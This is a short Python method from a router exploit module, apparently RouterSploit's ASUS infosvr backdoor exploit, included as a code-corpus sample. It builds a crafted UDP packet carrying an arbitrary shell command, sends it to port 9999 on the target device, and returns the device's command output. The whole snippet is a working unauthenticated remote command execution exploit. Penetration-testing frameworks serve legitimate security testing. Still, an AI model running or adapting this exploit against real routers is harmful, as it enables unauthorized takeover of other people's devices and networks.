def execute(self, cmd):
        if len(cmd) > 237:
            print_error('Your command must be at most 237 characters long. Longer strings might crash the server.')
            return

        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind(('0.0.0.0', 9999))
        sock.settimeout(2)

        packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00')

        try:
            sock.sendto(packet, (self.target, 9999))
        except socket.error:
            return ""

        while True:
            try:
                data, addr = sock.recvfrom(512)
            except socket.timeout:
                sock.close()
                raise
            if len(data) == 512 and data[1] == "\x16":
                break
        length = struct.unpack('<H', data[14:16])[0]
        output = data[16:16+length]
        sock.close()
        return output
dataset/ETHPy150Open reverse-shell/routersploit/routersploit/modules/exploits/asus/infosvr_backdoor_rce.py/Exploit.execute/original